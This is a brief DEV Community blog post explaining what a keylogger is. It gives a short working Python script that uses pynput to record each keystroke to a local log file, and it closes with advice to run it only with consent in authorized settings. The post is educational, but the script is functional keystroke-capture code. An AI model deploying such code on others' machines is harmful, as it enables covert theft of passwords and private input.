DEV Community

Mohana Vamsi
Mohana Vamsi

Posted on

Keylogger

A keylogger records keystrokes and stores them in a log file. This project is for demonstration purposes to show how malefactors use keyloggers to steal data.

Code Example:

import pynput.keyboard  

def on_press(key):  
    try:  
        with open("log.txt", "a") as log:  
            log.write(f"{key.char}")  
    except AttributeError:  
        pass  

listener = pynput.keyboard.Listener(on_press=on_press)  
listener.start()  
listener.join()

Enter fullscreen mode Exit fullscreen mode

Use Case: Learn how keyloggers work, but of course use it responsibly and in controlled, authorized environments only.

Tip: Always get consent from users before running any keylogging software.

Top comments (0)